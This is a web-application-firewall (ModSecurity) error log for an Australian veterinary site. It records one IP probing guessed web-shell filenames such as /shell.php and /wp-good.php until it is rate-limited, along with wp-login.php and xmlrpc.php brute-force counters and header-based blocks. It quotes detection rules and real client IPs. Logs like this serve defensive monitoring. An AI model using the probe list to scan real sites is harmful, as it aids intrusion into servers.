[Tue Dec 16 17:06:24.973649 2025] [:error] [pid 18324:tid 18395] [client 4.189.124.35:10143] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BMjXQkgwpeb.php"] [unique_id "aUEhEKG4um2mD1VpJHJ3XAAAAI8"]
[Tue Dec 16 17:06:27.543357 2025] [:error] [pid 12330:tid 12358] [client 4.189.124.35:17044] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BMjXQkgwpeb.php"] [unique_id "aUEhE16iIQEVCIh8V1lYewAAAZg"]
[Tue Dec 16 17:06:30.560123 2025] [:error] [pid 18408:tid 18429] [client 4.189.124.35:10125] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BMjXQkgwpeb.php"] [unique_id "aUEhFji2Gr8pDzjrVBDusAAAANM"]
[Tue Dec 16 17:06:31.837487 2025] [:error] [pid 53940:tid 53945] [client 4.189.124.35:59532] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BMjXQkgwpeb.php"] [unique_id "aUEhF191PNbcXLVkpR7NewAAAcI"]
[Tue Dec 16 17:06:33.056240 2025] [:error] [pid 12330:tid 12349] [client 4.189.124.35:10148] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/FSCMNvnjPX4.php"] [unique_id "aUEhGV6iIQEVCIh8V1lYhQAAAY8"]
[Tue Dec 16 17:06:33.935217 2025] [:error] [pid 53940:tid 53965] [client 4.189.124.35:54948] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/FSCMNvnjPX4.php"] [unique_id "aUEhGV91PNbcXLVkpR7NfgAAAdY"]
[Tue Dec 16 17:06:34.873450 2025] [:error] [pid 53940:tid 53949] [client 4.189.124.35:16707] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/FSCMNvnjPX4.php"] [unique_id "aUEhGl91PNbcXLVkpR7NgQAAAcY"]
[Tue Dec 16 17:06:36.317339 2025] [:error] [pid 12330:tid 12358] [client 4.189.124.35:54938] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/FSCMNvnjPX4.php"] [unique_id "aUEhHF6iIQEVCIh8V1lYiQAAAZg"]
[Tue Dec 16 17:06:37.643352 2025] [:error] [pid 35998:tid 36011] [client 4.189.124.35:59533] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUEhHRKnhGuuhGxBSLOUAwAAAUo"]
[Tue Dec 16 17:06:40.171315 2025] [:error] [pid 18408:tid 18422] [client 4.189.124.35:54914] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUEhIDi2Gr8pDzjrVBDuvgAAAMw"]
[Tue Dec 16 17:06:42.035341 2025] [:error] [pid 18322:tid 18341] [client 4.189.124.35:10154] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUEhIpsCeWBjrw28XtznmAAAAA8"]
[Tue Dec 16 17:06:44.533201 2025] [:error] [pid 51991:tid 52005] [client 4.189.124.35:10171] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUEhJK7zKCVJSuwV1xZ0KgAAAQw"]
[Tue Dec 16 17:06:58.042736 2025] [:error] [pid 12330:tid 12353] [client 4.189.124.35:10146] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aUEhMl6iIQEVCIh8V1lYrgAAAZM"]
[Tue Dec 16 17:06:59.877917 2025] [:error] [pid 18323:tid 18377] [client 4.189.124.35:56622] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aUEhMzJB6UFxIutsA8YNewAAAFg"]
[Tue Dec 16 17:07:01.777257 2025] [:error] [pid 35998:tid 36020] [client 4.189.124.35:56614] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aUEhNRKnhGuuhGxBSLOUFgAAAVM"]
[Tue Dec 16 17:07:03.009568 2025] [:error] [pid 51991:tid 51996] [client 4.189.124.35:10120] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aUEhN67zKCVJSuwV1xZ0OQAAAQM"]
[Tue Dec 16 17:07:04.051999 2025] [:error] [pid 18322:tid 18327] [client 4.189.124.35:56578] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hello.php"] [unique_id "aUEhOJsCeWBjrw28XtznpgAAAAE"]
[Tue Dec 16 17:07:05.474661 2025] [:error] [pid 18408:tid 18417] [client 4.189.124.35:59545] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hello.php"] [unique_id "aUEhOTi2Gr8pDzjrVBDu3AAAAMc"]
[Tue Dec 16 17:07:07.042080 2025] [:error] [pid 51991:tid 52015] [client 4.189.124.35:59567] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hello.php"] [unique_id "aUEhO67zKCVJSuwV1xZ0PgAAARY"]
[Tue Dec 16 17:07:07.935210 2025] [:error] [pid 53940:tid 53954] [client 4.189.124.35:16720] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hello.php"] [unique_id "aUEhO191PNbcXLVkpR7NxAAAAcs"]
[Tue Dec 16 17:07:11.407370 2025] [:error] [pid 51991:tid 52005] [client 4.189.124.35:56616] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUEhP67zKCVJSuwV1xZ0SAAAAQw"]
[Tue Dec 16 17:07:12.917931 2025] [:error] [pid 12330:tid 12345] [client 4.189.124.35:16760] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUEhQF6iIQEVCIh8V1lYuQAAAYs"]
[Tue Dec 16 17:07:13.789672 2025] [:error] [pid 18323:tid 18365] [client 4.189.124.35:10137] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUEhQTJB6UFxIutsA8YNkwAAAEw"]
[Tue Dec 16 17:07:15.437400 2025] [:error] [pid 53940:tid 53963] [client 4.189.124.35:56639] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aUEhQ191PNbcXLVkpR7NyAAAAdQ"]
[Tue Dec 16 17:07:16.512106 2025] [:error] [pid 18322:tid 18350] [client 4.189.124.35:16734] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUEhRJsCeWBjrw28XtznsAAAABg"]
[Tue Dec 16 17:07:17.112663 2025] [:error] [pid 18408:tid 18422] [client 4.189.124.35:16745] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUEhRTi2Gr8pDzjrVBDu7gAAAMw"]
[Tue Dec 16 17:07:18.155353 2025] [:error] [pid 53940:tid 53952] [client 4.189.124.35:10160] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUEhRl91PNbcXLVkpR7NzQAAAck"]
[Tue Dec 16 17:07:21.422382 2025] [:error] [pid 53940:tid 53955] [client 4.189.124.35:59570] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUEhSV91PNbcXLVkpR7N0gAAAcw"]
[Tue Dec 16 17:07:23.780963 2025] [:error] [pid 51991:tid 52006] [client 4.189.124.35:59534] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aUEhS67zKCVJSuwV1xZ0WAAAAQ0"]
[Tue Dec 16 17:07:25.218794 2025] [:error] [pid 18323:tid 18357] [client 4.189.124.35:54935] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aUEhTTJB6UFxIutsA8YNmgAAAEQ"]
[Tue Dec 16 17:07:27.645746 2025] [:error] [pid 18323:tid 18370] [client 4.189.124.35:56593] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aUEhTzJB6UFxIutsA8YNngAAAFE"]
[Tue Dec 16 17:07:29.619122 2025] [:error] [pid 18323:tid 18377] [client 4.189.124.35:17028] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aUEhUTJB6UFxIutsA8YNoQAAAFg"]
[Tue Dec 16 17:07:31.728000 2025] [:error] [pid 51991:tid 52016] [client 4.189.124.35:10129] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aUEhU67zKCVJSuwV1xZ0bwAAARc"]
[Tue Dec 16 17:07:34.816243 2025] [:error] [pid 18323:tid 18377] [client 4.189.124.35:10128] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aUEhVjJB6UFxIutsA8YNxAAAAFg"]
[Tue Dec 16 17:07:36.930265 2025] [:error] [pid 35998:tid 36007] [client 4.189.124.35:59551] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aUEhWBKnhGuuhGxBSLOUKwAAAUY"]
[Tue Dec 16 17:07:40.004296 2025] [:error] [pid 53940:tid 53959] [client 4.189.124.35:59559] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aUEhXF91PNbcXLVkpR7N6AAAAdA"]
[Tue Dec 16 17:07:42.327072 2025] [:error] [pid 18322:tid 18340] [client 4.189.124.35:10150] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aUEhXpsCeWBjrw28XtzoNgAAAA4"]
[Tue Dec 16 17:07:45.677248 2025] [:error] [pid 18322:tid 18326] [client 4.189.124.35:16742] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aUEhYZsCeWBjrw28XtzoPQAAAAA"]
[Tue Dec 16 17:07:48.964244 2025] [:error] [pid 53940:tid 53966] [client 4.189.124.35:63488] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aUEhZF91PNbcXLVkpR7N7wAAAdc"]
[Tue Dec 16 17:07:51.131276 2025] [:error] [pid 18324:tid 18399] [client 4.189.124.35:10114] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aUEhZ6G4um2mD1VpJHJ3uAAAAJM"]
[Tue Dec 16 17:08:15.046418 2025] [:error] [pid 35998:tid 36013] [client 4.189.124.35:55898] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aUEhfxKnhGuuhGxBSLOUQAAAAUw"]
[Tue Dec 16 17:08:18.175846 2025] [:error] [pid 51991:tid 52003] [client 4.189.124.35:61601] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aUEhgq7zKCVJSuwV1xZ06QAAAQo"]
[Tue Dec 16 17:08:24.020036 2025] [:error] [pid 53940:tid 53954] [client 4.189.124.35:16585] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUEhiF91PNbcXLVkpR7ODgAAAcs"]
[Tue Dec 16 17:08:30.135863 2025] [:error] [pid 18323:tid 18367] [client 4.189.124.35:10236] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUEhjjJB6UFxIutsA8YN3gAAAE4"]
[Tue Dec 16 17:08:38.167765 2025] [:error] [pid 51991:tid 52013] [client 4.189.124.35:64532] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUEhlq7zKCVJSuwV1xZ0-AAAARQ"]
[Tue Dec 16 17:08:38.508224 2025] [:error] [pid 12330:tid 12341] [client 4.189.124.35:65022] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUEhll6iIQEVCIh8V1lZDQAAAYc"]
[Tue Dec 16 17:08:40.055207 2025] [:error] [pid 51991:tid 52014] [client 4.189.124.35:17117] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUEhmK7zKCVJSuwV1xZ0-wAAARU"]
[Tue Dec 16 17:08:41.923575 2025] [:error] [pid 18322:tid 18329] [client 4.189.124.35:17124] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUEhmZsCeWBjrw28XtzoewAAAAM"]
[Tue Dec 16 19:40:02.018561 2025] [:error] [pid 18408:tid 18424] [client 134.90.137.88:41002] [client 134.90.137.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.90.137.88, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUFFEji2Gr8pDzjrVBAaSwAAAM4"]
[Tue Dec 16 19:42:21.390280 2025] [:error] [pid 51991:tid 52013] [client 149.202.183.73:37930] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.202.183.73, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUFFna7zKCVJSuwV1xasbwAAARQ"]
[Tue Dec 16 21:59:26.618062 2025] [:error] [pid 51991:tid 52016] [client 159.203.120.5:51374] [client 159.203.120.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.120.5, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUFlvq7zKCVJSuwV1xbfwQAAARc"]
[Tue Dec 16 22:35:28.761582 2025] [:error] [pid 18408:tid 18419] [client 223.244.35.77:42812] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUFuMDi2Gr8pDzjrVBBT1wAAAMk"]
[Tue Dec 16 22:40:17.120121 2025] [:error] [pid 51991:tid 52009] [client 101.33.66.34:34600] [client 101.33.66.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUFvUa7zKCVJSuwV1xbtoAAAARA"]
[Tue Dec 16 23:24:39.202727 2025] [:error] [pid 53940:tid 53945] [client 89.39.83.108:40696] [client 89.39.83.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.39.83.108, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUF5t191PNbcXLVkpR4fCwAAAcI"]
[Tue Dec 16 23:25:13.259036 2025] [:error] [pid 53940:tid 53954] [client 199.250.213.243:44742] [client 199.250.213.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.250.213.243, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUF52V91PNbcXLVkpR4fEAAAAcs"]
[Wed Dec 17 00:34:11.479714 2025] [:error] [pid 64837:tid 64914] [client 185.193.67.83:39778] [client 185.193.67.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.193.67.83, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUGKA7oJEzr5Ydl6WcQpFAAAAJQ"]
